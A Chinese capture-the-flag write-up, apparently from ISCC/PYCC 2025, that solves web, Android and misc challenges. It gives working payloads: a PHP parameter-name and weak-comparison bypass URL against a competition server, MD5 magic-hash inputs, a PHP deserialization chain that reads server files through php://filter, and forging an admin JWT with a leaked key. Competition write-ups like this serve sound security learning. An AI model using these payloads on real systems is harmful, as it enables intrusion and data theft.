赛事复盘

2025PYCC

半决赛 回归基本功 “金铲铲”最强王者选手小睿来到了新赛季“赛博之城”,面对全新的版本,他试图重回最强王者段位,但却总是屡屡失败,他不由感叹:“归根到底还是基本功不够扎实,回归基本功,从代码中找到上分密码flag吧!” 题目中有提示 (注意:需要输入正确的“用户代理”身份标识…

半决赛#

回归基本功#

“金铲铲”最强王者选手小睿来到了新赛季“赛博之城”,面对全新的版本,他试图重回最强王者段位,但却总是屡屡失败,他不由感叹:“归根到底还是基本功不够扎实,回归基本功,从代码中找到上分密码flag吧!”

题目中有提示

(注意:需要输入正确的“用户代理”身份标识与英雄名称)

(例如选择“鳄霸雷克顿”,需要输入对应的拼音全称,首字母大写,即“EBaLeiKeDun”)

( “EBaLeiKeDun”(鳄霸雷克顿)与“ShengLingShiZheLeiKeDun”(圣灵使者雷克顿)是不同的答案 )

修改UA头找到下一关内容

image-20250510225829102

php
<?php
show_source(__FILE__);
include('E8sP4g7UvT.php');
$a=$_GET['huigui_jibengong.1'];
$b=$_GET['huigui_jibengong.2'];
$c=$_GET['huigui_jibengong.3'];

$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
if($jiben==1)
{
    if(intval($b) == 'jibengong')
    {
        if(strpos($b, "0")==0)
        {
            echo '基本功不够扎实啊!';
            echo '<br>';
            echo '还得再练!';  
        }
        else
        {
            $$c = $a;
            parse_str($b,$huiguiflag);
            if($huiguiflag[$jibengong]==md5($c))
            {
                echo $flag;
            }
            else{
                echo '基本功不够扎实啊!';
                echo '<br>';
                echo '还得再练!'; 
            }
        } 
    }
    else
    {
        echo '基本功不够扎实啊!';
        echo '<br>';
        echo '还得再练!'; 
    }
}
else
{
    echo '基本功不够扎实啊!';
    echo '<br>';
    echo '还得再练!'; 
}
?> 

基础的弱比较,然后就是传参参数的特性

_来bypass

text
http://112.126.73.173:9998/Q2rN6h3YkZB9fL5j2WmX.php?huigui[jibengong.1=1&huigui[jibengong.2=%0A0=0%261=e559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong

image-20250510230002538

哪吒的试炼#

哪吒面临一项艰难的试炼,他需要解开封印才能获得最终的力量。

根据提示传参?food=lotus root获得isflag.php路由,f12

image-20250512120418786

得到源码

php
<?php
if (isset($_POST['nezha'])) {
    $nezha = json_decode($_POST['nezha']);

    $seal_incantation = $nezha->incantation;  
    $md5 = $nezha->md5;  
    $secret_power = $nezha->power;
    $true_incantation = "I_am_the_spirit_of_fire";  

    $final_incantation = preg_replace(
        "/" . preg_quote($true_incantation, '/') . "/", '',
        $seal_incantation
    );

    if ($final_incantation === $true_incantation && md5($md5) == md5($secret_power) && $md5 !== $secret_power) {
        show_flag(); 
    } else {
        echo "<p>封印的力量依旧存在,你还需要再试试!</p>";
    }
} else {
    echo "<br><h3>夜色渐深,风中传来隐隐的低语……</h3>";
    echo "<h3>只有真正的勇者才能找到破局之法。</h3>";
}
?>

双写+弱比较绕过

text
nezha={"incantation": "I_am_the_spirI_am_the_spirit_of_fireit_of_fire","md5": "240610708","power": "QNKCDZO"}

image-20250512121656329

然后找对应关系:明拆分成日,月 日对应sun月对应moon然后月翻转,n去掉即可得到suoom

得到flag->ISCC{suetsueergwooniwwoooowsilrow}

ShallowSeek#

ShallowSeek - 探索已至之境

image-20250512121909480

查看室友带饭问题

image-20250512121949782

查看三个历史记录

text
出题建议:AI这么火不蹭一下热度?可以从AI相关的输入处理等方向入手,保持题目趣味性和可用性。
实在不行,你还能加点密码学,CTF一家亲嘛!要是不想用经典加密方式,我给你提供个好玩儿的:
以下为示例:
原文:WebIsEasy,密钥:4351332,密文:IbaWEssey。什么加密逻辑?你仔细想想呗。
text
嗯,用户的问题是关于室友A让B带午饭的具体内容,需要确定B应该带什么回来。首先,我需要仔细分析A的微信消息内容:“可以给我带个午饭吗,两个玉米最好,不然就两个馒头,二两牛肉加一个红烧鸡腿。”这里的关键是理解A的请求是否有优先级或者替代选项。
……
总结下来,A可能表达的意思是:


    from dininghall import food_species

    food = []

    if food_species.corn.exist() == 1:

        food.append("2 corns")

    else:

        food.append("2 buns")

    food.append("2 pairs of beef")

    food.append("1 chicken leg")


而B则认为:


    from dininghall import food_species

    food = []

    if food_species.corn.exist() == 1:

        food.append("2 corns")

    else:

        food.append("2 buns")

        food.append("2 pairs of beef")

        food.append("1 chicken leg")
text
请你模仿《滕王阁序》,为诸葛亮躬耕地“卧龙岗”写一篇骈文
《卧龙岗赋》

秦川余脉,楚塞遗峰。北望嵩岳之巍巍,南枕汉水之汤汤。岩壑藏云,隐鹿门高士之迹;桑麻蔽野,接隆中耕读之庐。地非膏腴,有嘉禾生陇上;民多朴拙,闻弦歌起林间。时序更迭,春犁破霜泥未暖;星斗回转,夜烛映简册犹寒。

若夫草堂半掩,竹径深幽。篱落疏疏,时见牵牛引蔓;书声朗朗,每随野鹤穿松。荷锄南亩,非耽菽粟之乐;抱膝危石,独怀寰宇之谋。观天象于牛背,察风云于陇头。蓑衣懒问洛阳雨,羽扇遥指赤壁舟。

于是玄德驱驰,殷勤三顾。茅檐低矮,难遮经纬雄谈;鼎足峥嵘,早定江山劫数。新野火飞,初试卧龙鳞甲;江东涛怒,再扬季汉旌旗。八阵图成,石吞吴江雪浪;七弦琴动,音压渭北秋声。祁山月冷,犹照出师之表;五丈原空,长留堕泪之碑。

嗟乎!渭水钓名,终南捷径,岂若此岗之澹泊?功成三鼎,身殒一星,竟全臣节之孤贞。南阳之垄,不种功名种松柏;西蜀之祠,未祀君王祀鱼樵。风过岗峦,似说前朝旧事;霞栖陇亩,如焚季汉余晖。

今我来思,凭轩怀古。木牛流马,已化童竖戏谈;《诫子》《出师》,犹振书生肝胆。岗前柏老,曾荫先生石砚;云外鹤回,可识故国山川?长揖空庭,唯见:

一庐烟雨锁荆襄,
半世风云入酒狂。
垄上星沉八阵寂,
扇头尘落九州凉。
心同渭水苔封鼎,
名共祁山月满冈。
莫道草堂龙已卧,
至今雷动汉家江!

直接写解密脚本

python
def decrypt(a: str, key: str) -> str:
    d = [int(x) for x in key]
    n = len(a)
    i = list(range(n))
    o = []
    for x in d:
        p = x - 1
        if p >= len(i):
            raise ValueError(f"{len(i)} too short for {x}")
        o.append(i.pop(p))
    o.extend(i)
    r = [''] * n
    for c, p in enumerate(o):
        r[p] = a[c]
    return ''.join(r)


print(decrypt("0@_cu_5_1r3lw@y5wn5!}", "387531189"))

image-20250512122347945

拼接前半段即可

决赛#

谁动了我的奶酪#

有一个输入框 任意输入回显

image-20250518122440667

多次尝试后发现为tom

image-20250518122459377

得到源码

php
<?php
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";

class Tom{
    public $stolenCheese;
    public $trap;
    public function __construct($file='cheesemap.php'){
        $this->stolenCheese = $file;
        echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";
    }
    public function revealCheeseLocation(){
        if($this->stolenCheese){
            $cheeseGuardKey = "cheesemap.php";
            echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));
            $this->stolenCheese = str_rot3($cheeseGuardKey);
        }
    }
    public function __toString(){
        if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {
            echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";
        }else{
            $this->trap['trap']->stolenCheese;
            return "Tom";
        }
    }
    
    public function stoleCheese(){
        $Messages = [
            "<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>",
            "<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>",
            "<h3>Cheese的香味越来越浓,谁在偷吃?</h3>",
            "<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",
        ];
        echo $Messages[array_rand($Messages)];
        $this->revealCheeseLocation();
    }
}

class Jerry{
    protected $secretHidingSpot;
    public $squeak;
    public $shout;
    public function searchForCheese($mouseHole){
        include($mouseHole);
    }
    public function __invoke(){
        $this->searchForCheese($this->secretHidingSpot);
    }
}

class Cheese{
    public $flavors;
    public $color;
    public function __construct(){
        $this->flavors = array();
    }
    public function __get($slice){
        $melt = $this->flavors;
        return $melt();
    }
    public function __destruct(){
        unserialize($this->color)();
        echo "Where is my cheese?";
    }
}

if (isset($_GET['cheese_tracker'])) {
    unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){
    $clue = $_GET["clue"];
    $clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);
    if (unserialize($clue)){
        unserialize($clue)->squeak = "Thief!";
        if(unserialize($clue)->shout === unserialize($clue)->squeak)
            echo "cheese is hidden in ".$where;
        else
            echo "OHhhh no!find it yourself!";
    }
}

?>

反序列化实现文件读取clue.php

php
<?php
class Jerry {
    public $secretHidingSpot;
    public $squeak;
    public $shout;

}

class Cheese {
    public $flavors;
    public $color;
}

$a = new Jerry();
$a->secretHidingSpot = "php://filter/convert.base64-encode/resource=clue.php";
$b = new Cheese();
$b->color = serialize($a);

echo urlencode(serialize($b));

image-20250518122825536

得到(根据源码UA头改一下)

image-20250518123742551

image-20250518123542029

那么再次构造exp 将clue.php换成flag_of_cheese.php即可

得到

image-20250518123420141

得到前一半flag

image-20250518123449092

根据flag1的php文件名解码得到cheeseOne

image-20250518123818753

构造chees2

image-20250518123849950

得到

image-20250518123911020

查看源码发现

image-20250518123940498

解密后发现可能为jwt密钥

image-20250518124026256

image-20250518124119176

user改为admin 将密钥填入

image-20250518124317972

认证成功

image-20250518124342998

进入flag界面

image-20250518124409217

与0x16异或得到flag

image-20250518124524114

ISCC购物中心#

1/1登录非预期了

初始积分99999,在首页中修改前端代码兑换flag

观察前端代码

将hidden删除

image-20250518125235723

image-20250518125704753

获得flag

image-20250518125726414

登录用户管理系统

image-20250518125755593

解密

image-20250518125843335

解密

python
a = "_EUUmpVxbw#b7uE~&ff7xq%nfSd7sxusk"
b = a.encode('utf-8')
re = bytes([b ^ 0x16 for b in b])

print(re.decode('utf-8'))

image-20250518130005647

安卓-GGAD#

雷电找到关键字符

image-20250518132820767

看源码

image-20250518133036781

查看c.a的返回值

image-20250518133148603

剩下的拿给ai审一下 编写解密脚本

python
# -*- coding: utf-8 -*-
# RC4 + Vigenère 解密组合脚本
# 作者:你自己
# 功能:恢复最终 flag

# ---------------------- Vigenère 解密 ----------------------

def vigenere_decrypt(text, key):
    decrypted_text = []
    key_index = 0

    for char in text:
        if char.isalpha():
            key_char = key[key_index % len(key)].upper()
            shift = (ord(char.upper()) - ord(key_char) + 26) % 26
            decrypted_char = chr(shift + ord('A'))

            decrypted_text.append(decrypted_char.lower() if char.islower() else decrypted_char)
            key_index += 1
        else:
            decrypted_text.append(char)

    return ''.join(decrypted_text)

def decrypt(text, key='ExpectoPatronum'):
    return vigenere_decrypt(text, key)

# ---------------------- RC4 加解密模块 ----------------------

def rc4_ksa(key):
    """RC4密钥调度算法(KSA)"""
    if isinstance(key, str):
        key = key.encode()

    S = list(range(256))
    j = 0

    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    return S

def rc4_prga(S, data):
    """RC4伪随机生成算法(PRGA)"""
    if isinstance(data, str):
        data = data.encode()

    i = j = 0
    result = []

    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        t = (S[i] + S[j]) % 256
        k = S[t]
        result.append(byte ^ k)

    return bytes(result)

# ---------------------- 主流程逻辑 ----------------------

def main():
    ci = '0100001000110100010001000011001100110111001100110100010000110000001101000011001101000110001101100100010000110000'
    c0 = '65489I5Y5S3FD0'

    # 第一步:Vigenère 解密
    c2 = decrypt(c0)

    # 第二步:将二进制字符串转为字符
    c1 = ''.join([chr(int(ci[i:i + 8], 2)) for i in range(0, len(ci), 8)])

    # 第三步:交错拼接 c1 和 c2
    combined = ''.join(c1[i] + c2[i] for i in range(14))

    # 第四步:转为十六进制字节数组
    byte_array = [int(combined[i:i+2], 16) for i in range(0, len(combined), 2)]

    # 第五步:构造8位二进制字符串
    bit_string = ''.join(f"{byte:08b}" for byte in byte_array)

    # 第六步:按位取反
    inverted_bits = ''.join('1' if b == '0' else '0' for b in bit_string)

    # 第七步:转回字节流
    final_bytes = bytes(int(inverted_bits[i:i+8], 2) for i in range(0, len(inverted_bits), 8))

    # 第八步:RC4 解密
    S = rc4_ksa('ExpectoPatronum')
    plaintext = rc4_prga(S, final_bytes)

    # 输出 flag
    print(f"ISCC{{{plaintext.decode()}}}")

if __name__ == "__main__":
    main()

image-20250518133602350

misc-神经网络迷踪#

看到secret_key.weight

image-20250518183606699

只有output层带bias

image-20250518183727134
转字符

python
import sys, torch, re

pth = sys.argv[1] if len(sys.argv) > 1 else 'C:\\Users\\31702\\Downloads\\attachment-38.pth'
sd  = torch.load(pth, map_location='cpu')
bias = sd.get('output.bias')

def to_text(tensor, scale):
    nums = [int(torch.round(v*scale)) & 0xFF for v in tensor]
    return bytes(nums).decode()
![image-20250518184401403](/assets/post-media/b63ba91a/image-20250518184401403.png)
core = to_text(bias, 255) or to_text(bias, 1)
print(f"ISCC{{{core}}}")

image-20250518184406205

misc-八卦#

十六进制查看到7z文件 手动分离

image-20250518190451270

上半部分是gif,下半部分是一个7z的加密压缩包,猜测密码在gif中

image-20250518190735956

拆分gif

image-20250518190903651

查看帧间隔

image-20250518190953947

1. 时间间帧232323#
  • 表示六十四卦中的第23卦
  • 第23卦是 剥卦,卦象是:艮下坤上
2. 存在内容111010#
  • 这是一个6位二进制数:111010。
  • 将其转为十进制: 111010₂ = 58₁₀
  • 对应六十四卦中的第58卦,即兑为泽,卦象是:兑下兑上
卦名 编号 三爻卦 二进制
0 000
1 001
2 010
3 011
4 100
5 101
6 110
7 111

先拼接下卦,再拼接上卦,并按卦编号从小到大。

于是得到压缩包密码

乾乾坤坤坎震艮坎坎乾艮坤兑兑

image-20250518191304558

两次base64解密

image-20250518191316734

查看归档
站内搜索

输入关键词,查找 39 篇记录。